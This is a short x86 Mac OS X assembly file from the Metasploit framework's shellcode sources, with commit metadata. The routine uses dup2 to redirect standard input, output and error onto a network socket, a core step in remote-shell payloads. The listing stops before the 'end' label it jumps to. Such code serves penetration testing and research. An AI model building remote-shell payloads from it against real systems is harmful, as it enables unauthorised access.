Files
metasploit-gs/external/source/osx/x86/include/_dup2_std_fds.s
T
HD Moore 13706d1bde Tons of new Mac OS X code from Dino Dai Zovi and Charlie Miller, more to follow
git-svn-id: file:///home/svn/framework3/trunk@6353 4d416f70-5f16-0410-b530-b9f4589650da
2009-03-18 23:28:24 +00:00

16 lines
222 B
ArmAsm

;;; assumes socket is in edi
_dup2_std_fds:
xor ebx, ebx
sub ebx, byte 1
.dup2:
inc ebx
push ebx ; filedes2
push edi ; filedes
push ebx ; spacer
mov al, 90 ; SYS_dup2
int 0x80
jb end
cmp ebx, byte 3
jne .dup2